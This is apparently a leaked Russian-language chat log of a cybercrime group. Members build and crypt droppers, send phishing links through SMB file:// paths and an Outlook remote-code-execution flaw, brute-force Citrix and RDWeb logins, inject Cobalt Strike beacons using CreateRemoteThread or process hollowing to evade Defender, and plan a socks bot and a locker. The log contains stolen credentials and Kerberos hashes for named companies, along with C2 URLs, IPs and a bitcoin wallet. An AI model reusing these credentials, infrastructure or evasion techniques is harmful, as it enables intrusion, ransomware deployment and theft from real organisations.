щас билд буду запускать

Добрый. Конечно

Всем привет! Пару минут и скину билд

мне же EXE делать ,да?

kekhash.txt

запустил EXE

ну exe

как бы будем длл выдавать по линку?

> <@usernamegg:matrix.bestflowers247.online> sent a file.

не запустят же

окей

щас сек

тестирую

уже готово

щас быстро стук проверю

dropper_GG22_M_E_f0adda360d2b4ccda11468e026526576_MAM48nbNB.ipb

PASS: 31efda3f23f01adc1ad7fd553aad3693

+

да, я делаю

с ситриком вот сейчас делаю

потому что у них тут 3 версии авторизации

если не больше

именно брут, у меня только для rdweb сделан

для ситрикса я пока только сделал одну версию авторизации мыло и пасса

делаю вторую

> <@usernamegg:matrix.bestflowers247.online> а для линков скрипт сделать ?

чтобы впски настраивались и делалились линки

сначало на впске самба настраивается

потом уже второй скрипт проливает файлы и записывает линки, которые будем слать в письме

вчера все тестит

вроде все готово

citrix.txt

fortinet.txt

globalprotect.txt

pulsesecure_ivanti.txt

pulseway.txt

10_443.exe

https://scanner.to/result_EDR/9iuahyY7UGPp

++

Яищу

Чищу

+

file: smtp JAN.txt

+

> <@usernamegg:matrix.bestflowers247.online> sent an image.

file: SMTP1502.txt

IMAP1302

этих у меня нет

```

`544369d1baa1d9133ffcb3ac763f7a35`

Доделываю

я готов

но мне нужен нужно будет время подписать exe

положить их в зипы

пролить на сабма сервера

и сделать линки

но

это я автоматизировал, надеюсь займет не сильно много времени

+

ага. всегда так делаю

> <@usernamegg:matrix.bestflowers247.online> что там со сркиптом для шарпшарис ?

> <@usernamegg:matrix.bestflowers247.online> как выдаст крипт сразу запустим европу

> <@usernamegg:matrix.bestflowers247.online> реверсеры не пробъют ?

обычным ботам это не мешает

если что реверсеры вообще на работоспособность бота не виляют, просто по сути дразнят, что засирают нам вид в панели и все

> <@usernamegg:matrix.bestflowers247.online> ну как там ?

1.7z

canGVPnGcvZwXgvUwJKgbHWpQEOacgxhtQuQqMXkSwQnqUevtM

Чекните плиз

```

+

> <@usernameww:matrix.bestflowers247.online> `544369d1baa1d9133ffcb3ac763f7a35`

+

++

+

> <@usernamett:matrix.bestflowers247.online> sent a file.

2.7z

++

canGVPnGcvZwXgvUwJKgbHWpQEOacgxhtQuQqMXkSwQnqUevtM

я на месте

у меня чисто

скоро наделаю линков

и буду запускаться

минут 10

Хорошо

Стучит?

1150

сек

кош bc1qs5ada59gefdhlapa85g3974ng4g73vly3ygf7z

file://introwebllc.com/public/XQA.zip

вот пример линков

> <@usernamegg:matrix.bestflowers247.online> ты в работе ?

чекаю

сек

щас сек на стук проверю

деф обновиься быстро

чисто, жду стук

минуту и отпишу

есть стук

Хорошо

все окей

все окей

да

стучит

+++

ну там 6 доменов

120 линков

доставточно для первого теста

посмотрим

чисто по компаниям прошлю

US | 12.216.6.107

это твой?

запустился

в целом конечно они

эту дыру могут закрыть

мы же не проверяли как на сетки приходит линк этот

именно в корпоративном атлуке может подругому открыться линк

в общем пустил, ждем

статы нет

+++

можно думаю как-то

из логов самбы наверное вытаскивать

но это потом

если толк вообще будет с этих линков

да ладно, сами скажете потом

если что-то будет

он уже пришел

он как reverser

+

определеился

видно что сервак подозрительный

по процессам вижу, что пустая тачка

видно что тестовая

40k ушло уже

100к прошлю и стопну, подождем, посмотрим что придет

`https://rds.sawleylock.com.au/RDWeb/Pages/en-US/login.aspx: sawleylock\test:Password1 15kk`

через минут 30 панель на 1-2 минуты перезапуститься

апдейт буду выкатывать

```

по всем еще запущу

не только по компаниям

----

бро ты говорил файл можешь дать, давай попробуем

все что я делаю по нагрузке кажется не очень

буду слать тимсы с ним

выдавать могу как скажешь сразу зип под пасом либо с сайта зип+пасс+ клоака

> <@usernamett:matrix.bestflowers247.online> sent a file.

3.7z

++

drps.7z

> <@usernamegg:matrix.bestflowers247.online> искодники локера потом у него попрошу и начнем новый писать

глянь впн плз

100k+ ушло

стопну пока

----

> <@usernamegg:matrix.bestflowers247.online> [11:23:04] KernelMode - killer EDR: привет. как дела? все работает?

потому что на софосе мы проверили нихуя ниче не отключило

> <@usernamegg:matrix.bestflowers247.online> создать конкуренцию YY

+++

пару минут гляну

бро а CVE в тимсе отработает? или только если открывают через приложение аутлука

цель пока такая

есть кто?

Найти чела, возможно даже двух друзей которые знают те вещи которые я записал у себя в ТЗ, написать какую нибудь залупу главное что бы было что то инжектное, возможно дроппер. Потом двигать в направлении сокс бота, мне нужен человек со знанием HTTPS, DNS, TLS. Дальше сокс бот будет модульный, пока что ТЗ в стадии разработки. Модули будут состоять из формграббера, vnc и прочей залупы. Если они справятся хотя бы или он справится хотя бы с сокс ботом который я хочу сделать, прям в идеале у меня план барбароса сделать топовый софт который лично буду курировать, с локером такая же хуйня, локер я бы сделал модульный без возможности сделать реверс потому что задумка есть такая что бы вобще целевой файл локера не был доступен реверсерам, не знаю станет ли это возможным.

+

* Найти чела, возможно даже двух друзей которые знают те вещи которые я записал у себя в ТЗ, написать какую нибудь залупу главное что бы было что то инжектное, возможно дроппер. Потом двигать в направлении сокс бота, мне нужен человек со знанием HTTPS, DNS, TLS. Дальше сокс бот будет модульный, пока что ТЗ в стадии разработки. Модули будут состоять из формграббера, vnc и прочей залупы. Если они справятся хотя бы или он справится хотя бы с сокс ботом который я хочу сделать, прям в идеале у меня план барбароса сделать топовый софт который лично буду курировать, с локером такая же хуйня, локер я бы сделал модульный без возможности сделать реверс потому что задумка есть такая что бы вобще целевой файл локера не был доступен реверсерам, не знаю станет ли это возможным. Это нужно прям консультироваться ебать у каких то типов белых, но не говорить прямо что локер, а про модуль накидывать.

Это все займет думаю не мало времени, и бог знает кто еще свяжется по пути пока будет искаться чел или парочка челов. Может вобще спец службы сядут на хвост и будут вынюхивать что то. Опасно это все.

Ну Романа быстро получилось найти, неделю ушло)

тогда время было голоднее

отойду на 10 мин

да пиздец, вот как найти типов это ебать))

еще бы кто заднюю не дал

кто то вобще будет писать жалобу сто процентов на сайте что темная сфера

кто то отскочет

с каждым нужно беседовать

но такие типы с белого будут стоить дешевле

в 1000 раз чем с черного

и делать будут лучше

это на цвешку или с нагрузкой файл

?

полюбому

> <@usernamegg:matrix.bestflowers247.online> @klivenkoyana - прочитала но не ответила

подставить https вместо file и можно слать?

```

+

```

200k ушло

```

> <@usernamegg:matrix.bestflowers247.online> sent an image.

приходят?

все разобрался , заклоачена ссылка

image.png

перезагружаемся

минута

image.png

поднялось

щас еще раз перезапускается

миграция запустилась

:D

та не, это не влияет ни на что

ну боты как сутчали

так и будут стучать

ну чел с отклика

он тип в html линки от самбы предлагает зашивать?)

я списался уже в тг

там пиздец навыки я ебал

зачем

лишнее действие будет

с Таджикистана

потом

попробуем

бро или это цве под аутлук?

подскажи плиз

300k ушло

готово

ага

> <@usernamegg:matrix.bestflowers247.online> помнишь как зайти ?

почти Киргиз

file: SMTP24.01.txt

file: SMTP07.02.txt

file: SMTP14.02.txt

ага только этот чел через чур знает много

для шопа

шлю на мыла короче

надо как то сразу разговаривать на берегу что проект серый

и чел бы готов

потому что чел который будет через демонстрацию экрана помогать фиксить, он увидит белый IP адрес главного сервера

ну не летит прям сильно

ебать

X 2024-02-19 в 15.21.05.jpg

отписал пиздец тот что надо чел

у нас uwsgi сервер, и celery тоже установленно о чем я не стал писать в предварительном ТЗ

стопну

палит деф

не дает скачать

он и обновился

420k прослал

можно попробывать html прослать

может не так быстро спалят

орет деф на exe в зипе

не, пусть они сделают

я линки только подготовлю для юсы

я пока линки не могу выдать, нужно новый exe сделать

ясно

слабо

деф еще быстро спалил

+

делайте инжекты через create remote thread

вижу, что инжектитесь process hollow

ну если он через js будет линк прятать

а потом через create remote thread

то врядли же получится

если сразу через create remote thread, то палева меньше

там же js не отработает

process hollow может детект выдавать на многих АВ, чисто из-за того что заезженый метод

я немного не понял

он нам выдаст html

его атачем слать или как?

я просто его убрать не могу, потому что если на тачке нет процессов, то только с ним можно инжектиться

но самый основной используйте create remote thread

MM

++

и ZZ Тоже process hollow

делате

я хочу убрать этот Process hollow уже, но не могу, потому что в некоторых кейсах он полезен

++++

у вас кстати в этом году с пики получилось что в работу взять?

или все херня идет?

хм

image.png

если брать не новую версию атлука

но вот уже не открывается такой линк

> <@usernamegg:matrix.bestflowers247.online> [15:41:47] private - coder - ldr: нет, не аттачем, так оно не будет работать. именно письмо готовое в виде ленлинга, которое как тело письма шлется

хз

++++

и что-то не пришло ничего толком с 400к

даже мелких

пусть сбросит приват пример того

что он хочет сделать

какой html

проверю как он будет открываться в атлуке

можно еще потестировать то, как на сетке открывается этот линк

дадите почту, я туда заинбокшу

потому, что так то мы не проверяли

+

ну возможно уже и пофиксили, особо на сетках

* ну возможно уже и пофиксили, особенно на сетках

да все равно фигня

но еще проблема в том

что спалили быстро

а если через атлук открыть, то не палит у меня

в общем может есть почта от сектки

куда бы прослал письмо с этим линком

проверите как отроект путти

все же мне кажется пофиксить это майкрософту не составит труда

просто линки такие открываться не будут

`https://4c5kb5ly.cofoundermanagerplatform.online/7e6375fd-0860-4a88-8d60-7beac46dd708/bot/33780`

+

сек

посмотрю

он на атлуке

ну посмотрим

ага

мбельгия

фильтр просто там вообще может не пропустит

там деф вообще

щас я посмотрю

задачу взял он хотябы

отправлю

5 штук прошлю

заадчу он взял

на инжект

нас спалило

но там походу не только деф

щас смотрю процессы

ушли письма

> <@usernamegg:matrix.bestflowers247.online> bhernandez@truviewbsi.com

ясно

ну херня

пофикиси значит

> <@usernamegg:matrix.bestflowers247.online> sent an image.

у меня такой же новый аутлук

где все работает

а вот на сетках

видите, все подругому

`\\nedvescompany.com` а через проводник открывается ?

вы в кобу зовете?

> <@usernamegg:matrix.bestflowers247.online> https://4c5kb5ly.cofoundermanagerplatform.online/7e6375fd-0860-4a88-8d60-7beac46dd708/bot/33780

спалило то что заинжектили, и оно потянуло нас за собой

херня какая то

можете в мету позвать?

это вы как открыли?

> <@usernamegg:matrix.bestflowers247.online> может криптованным фалом как то звать ?

изи .bin делаете exe

скопировали ссылку в проводник?

и я этот exe могу инжектить

ну просто инжектишь exe по сути

можешь попробовать криптануть в exe

и заинжектить exe

ясно, ну это не то

думаю пофиксили

> <@usernamegg:matrix.bestflowers247.online> sent an image.

сек

куда инжектить?

https://4c5kb5ly.cofoundermanagerplatform.online/7e6375fd-0860-4a88-8d60-7beac46dd708/bot/33778

сюда могу

сек

сделал

готово

проверяй

выполнился

forum_hash.txt

ща я формат линка еще сделаю другой

бот живой

должно было бы уже придти

туда же отправлю

проверите

щас в тестовую тачку заинжектю

сек

да

сек

отправляю

тоже проверьте, откройтся ли при клике

уже 4 ушло

щас в тестовую exe Дам

и dll

это x64?

могу x86 только давать

ясно

и exe и dll

можем на другой сетке прорить

но думаю пофиксили

* можем на другой сетке проверить еще

+++

lfdfq

https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability?tab=readme-ov-file

;le

давай

жду

видать они для сеток в первую очередь пофиксили

10_443_x86

потому что у меня работает еще

> <@usernamegg:matrix.bestflowers247.online> 23.88.64.226

> <@usernamegg:matrix.bestflowers247.online> sent an image.

этот айпи от фтп 9_5 рабочего и второй резервный, я буду переделывать на абхазию

++

10_443_x86

+++

+

отправляю

ушло 5

ссылки со спуфом не инбоксят

я так понимаю в пдф слать нельзя?

нужно чтобы из приложения аутлук перешел по ссылке?

ну кажется мы туда слали уже

и не приходило ничего

да

понял

письмо не дошло

мне кажется мы на эту почту уже пробывали слать

не приходит туда

есть другая?

ой пиздец тут объявы вешать не перевешать

я договорился с двумя типами

на завтра договорился, плюс еще может кто отпишет

ну они контакты свои дали

тг

я свою тг не оставлял

у меня же черная тг есть на буке

да дохуя прогеров сидят без работы не знают куда податься

ладно. по европе понятно, что бестоплку такие линки слать

* ладно. по европе понятно, что бестолку такие линки слать

надо будет яндекс кошель купить

я могу купить с лайта

и пополнить его наменять туда бабок

что бы фриланс площадку пополнить

что бы тему поднимать итд

10_443_x64.zip

rundll32.exe dll.dll,ReloadImage

++

Ок

приятного

тут много типов есть дохуища просто с знаниями С, C++

WinAPI

работы с памятью

итд

assembler

+

> <@usernamett:matrix.bestflowers247.online> sent a file.

извини что еще без 86

портирую в ближайшие месяцы

делаю

пилю, мин10

в течении часа

да хз что слать

> <@usernamegg:matrix.bestflowers247.online> ты чеаешь ipika ?

скоро еще посмотрю

+++

окей

но эти линки нет смысла слать. сами видите как они открываются на сетках

я щас буду заниматься новым методом тогда, чтобы .bin можно было нормально инжектить

> <@usernamegg:matrix.bestflowers247.online> 7f17f945debd7d2baa5fb415f95a69343b54e36917e707a4cac7f37fee04f6d5

спрашивают

10_443_x86.7z

rundll32.exe dll.dll,CreateFolder

* но эти линки нет смысла слать. сами видите как они открываются на сетке

отойду на 20 минут

апдейт на панель выкатываю

> <@usernamett:matrix.bestflowers247.online> sent a file.

4.7z

Позже еще инфецированием пришлю

++

> <@usernamegg:matrix.bestflowers247.online> ну а что тогда слать

пару минут

щас

запускаю exe

пришло?

грузите exe

x86

create task -> exe

и там загружаете файл

и грузите его так

сек

вот

10_443_x86_cr1.ex_

+++

+++

там еще задачу по процессам дали просто

щас, пару сек, тестовую позову

но там по сути оди ни тот же метод на DLL

и на EXE

он пришел и сразу сдох?

бот живой

стучит

щас сек

я тестовую тачку длку

закину

проверю

отпишу

привет

> <@usernamegg:matrix.bestflowers247.online> 02/19 18:24:28 *** initial beacon from Administrator *@167.88.166.50 (WINDOWS-DTX-4GB)

нет

сегодня нужно будет еще криптовать?

у нас такой нет

ты говорил, что ты сплоиты взял.

IP такого нет

у меня тоже нет, это может быть реверс

js видимо придется слать

хотя вы говорите, что с него нормального ничего нет уже

запустил на тестовую тачку

длку

щас посмотрим

+++

окей, жду тогда

окей

10_443_x86_cr1.dl_

вот

точка хвода

wvwRNFtcfqRG

бро на вечер линки те же ?

да

без инструкции продают?

ну как?

пришло?

мне кажется, что оно в тупую палит коннект к C2 кобы и все

видит что трафик идет похожий как на кобу

и все

и рубит его сразу

ага

хм

а вот у вас когда приходит маяк

коба автоматом ему таски какие то шлет?

> <@usernamett:matrix.bestflowers247.online> sent a file.

5.7z

Строка для ехе и длл

canGVPnGcvZwXgvUwJKgbHWpQEOacgxhtQuQqMXkSwQnqUevtM

сек

да

пробуй

> <@usernamess:matrix.bestflowers247.online> `$krb5tgs$23$*sqladm$hmmctx.local$MSSQLSvc/PXENKDB02.hmmctx.local:1433@hmmctx.local*$FDEAE34DA9FA61755144106E60073908$E2375534FEFF01FB995C3DB00EB5B9A365518BDD99F0A7405A40E11C4DB511A513854BFDD81AB3D19DF0F2B3F242C0FBA2348379E16B6D415EFCC07C7DBD75C80E74968041E55191B30FDD200BD344D87BBAB0A4FBC1F58CA0D44525414A16A38EC8BF7E185756DA6B71C8BBB37F38360743CE4F458397861E803D899A852BA92F98AB486E6EFC7B792156E98D68709F38DC539173B052C2A6722426636293C14851771C52D9871845B09B7D072FDBB7B955CAA54557D80A4DF1BC22ADB3EBC1C4A418FAD115B89FE6AB58C90D72DFBCD1F6630FD2E6C164873FEC2968C32407775363F1B9B66E4635AB07ECB23CA1A4D7CB8AA1DD9C6C359C08133B117A8EFA0CD0060F4ABB70797A7AAC4451A07E4E83AD38B779719878393B00D7C1A0D3F85B92942FF1169809E4C8FA46EDAC4C65FB93FCE59279B42C4DA885A99C655D1DE982D6F3901C4A22E9BFEC6635FE846053C772DBB518639C3DA2DCE68D700D8940CA315AF511E9704EB279D649C2A84FEFE8DFC222B98D922672F0477C2B49289FB5234479605DE3B35DBF51CDEF9CE0EA4389E7D1D4126787036D65FF1A92BF701E4D87C6C1F1B9E1908228E1D049D769DB77D6930F2683D476DC6DD6C57D2A16B16F555F8ABF68727AD3FD251C7502D447143716D1D355BCC34A410F3CE1666105CDE83C2EAEA1762CD319E14E91C8E911258B41A309102F58DDB0411B4552599626570ED753DB951CE77779FCB86B5BCABAA1B1F3FA183D65260C1D992AE27F95733ED66AFB67F57EFA25F86D67187D0BCD4E8BD07424ABE36D8638397F09D69D5D522FB06829954A41A85B597D369E270430293ED16E9E4C34A1A5DCEF63CDB769DCF946ACF68676535D5213E89F7BF397A2D349526AAF266FBAED98CADF86D2EA22E069CE4B9A0B843D30630EA9B191D6DF40EFEB53C688DB7AFCD76E9B40E441A5972F05CDB210C666EA793E69F5D7C5078DCECD185401AADC476D147A34450567DB252BDC2A7C57CD6A0ACA5FE505A038BBF24C7E9C463F4F2035FEBB4CBD653BB26345EB1F0E086B2D2B197E5C7904B769DE4B0A3B2F5C501416D23E58ACC3189A5BB8D2D40AE744528FC41BD56C15DA3AE0D76FE5101CC3E8553BBCC31DC88AE687AD74655821C897554C6E55D7EB1511052DDDCD33E449EF173D00ACAB7D0F29ED4313E4884641D1E5CBD677C5EEAB7909D5BD4383DDBBEEECE0440A87CDCB9CF1B0A759A46CA6E4FDEF970B29DF10DD1C1A983C4DE4D6F8877FEA1B552916783AE854FBE0CD03D85120448367C34590E6177790DDCF496A848A0463805E20000C7411879A188DACB93FAFD83E4E62557F0253E7ECEDB645BEB7D076A72EB3A409D3E21A9C59B8FF3452F0499E3058B052964BADB54318D3A0706BC8B7C1BFAE6C9EF8C6D5D8DB6C17E20866C9A24C6BEB933F89A6E74F1DF9F8EC399F6CD8246541040CA5B450FDD5C44D8FC692B8F881EBA5DF1652D9380743B9F1BEC5A584DBCA1C8C494402CE402A89E7C499C2463763C0D9AA721C880310F7886D7B33EDA02CD3D734EBC9EBD520212162581BAA64A421E4FCD4E6FC3F67AB1F93D3E3F45FA0D34F3562D7F0D189F6A08BFE4984A2D82586A97391A131A60C77A438E969D1AD9EC858C11B35CBB2C69E1A4D53D551B92FCD4460FC6D60E15F5D1D6CE3240138D8EE966258EC99410B8C30416D69`

скажите только подходть пасс или нет

* скажите только подходит пасс или нет

> <@usernamess:matrix.bestflowers247.online> скажите только подходит пасс или нет

ok

Thx

ну как?

живет?

запустил точечно на европу

но самый норм будет на канаду

ок тогда делаем с ними

https://4c5kb5ly.cofoundermanagerplatform.online/7e6375fd-0860-4a88-8d60-7beac46dd708/bot/33805

вот попробуй нан ем create remote thread на aufgaben-manager.exe

бля, херня какая, странно не могу понять как он детектит

что он детектит самое главное

ну мне кажется что на коннект, когда он уже прям выстроен

когда стадия инициализации прошла, начинается обычное общение с обыччнм стуком дай мне таску

и вот оно походу палит, когда идет обычное общение

видимо на этом сигнатура висит

офнусь

до завтра

```

Тут

777 у тебя тоже пароль не подходит ?

нет

100% кидала

ни у меня ни у 777 не подходит пароль

Status...........: Exhausted

Должно быть Status...........: Cracked

нет

в общем чате посмотри в 777 тоже не подходит

а меты у вас сейчас нет?

можем попробовать туда метой заинжектиться

просто куда бы я не заинжектился и как бы я не сделал это, тут не меня спалит а кобу по сути, а если спалит, то юзеру придет уведомление и рано или поздно он просто обратиться к кому то или сразу пк вырубит или инет и так далее

может сами C2 профиля палятся?

там же по сути можно настроить коннект так, чтобы между общением мусор добавлялся

+++

сегодня билд делал, с ним все ок было?

не было проблем?

и можно сегодня я до 23-х?

могу билды заранее сделать

+++

запустили канаду

если линки умрут скажи плиз

985$

++

> <@usernamegg:matrix.bestflowers247.online> `https://vpx.ecofip.com/logon/LogonPoint/tmindex.html :scanner:scanner 21kk finance`

++

ECO_kekhash.txt

я тут

privet , kak pozhiavesh ?

skoro budu gruzit'

$krb5tgs$23$*ecoficesqlserver$ecofip.local$MSSQLSvc/ECO-SQLECO.ecofip.local:1433*$8da......677085ca:inecoficesqlserver

++

NRM_kekhash.txt

kekhash.txt

Почему в 10 кобу залился старый профиль? У нас в 9 кобе новый пиздатый профиль стоит, почему на 10 стоит старый как дерьмо мамонта профиль?

$krb5tgs$23$*sage$ecofip.local$MSSQLSvc/M-SQL00.ecofip.local:1433*$18c56e5d2c76a394.......b0b99f0312:S@ge972!

4ef0d3bf849eb3c45d645e8ed80578cf

https://blog.whiteflag.io/blog/protected-users-you-thought-you-were-safe/

> <@usernamegg:matrix.bestflowers247.online> ```

доброе утро

на сегодня будут новые линки?

я на треню буду в 11-30

https://www.bleepingcomputer.com/news/security/lockbit-ransomware-disrupted-by-global-police-operation/

нужна новая прокладка для фтп 5, 4+ cpu 8 gb ram, 150 gb ssd, 1gbit/s

`64.176.219.106:42283 BMT`

`64.176.219.106:35123`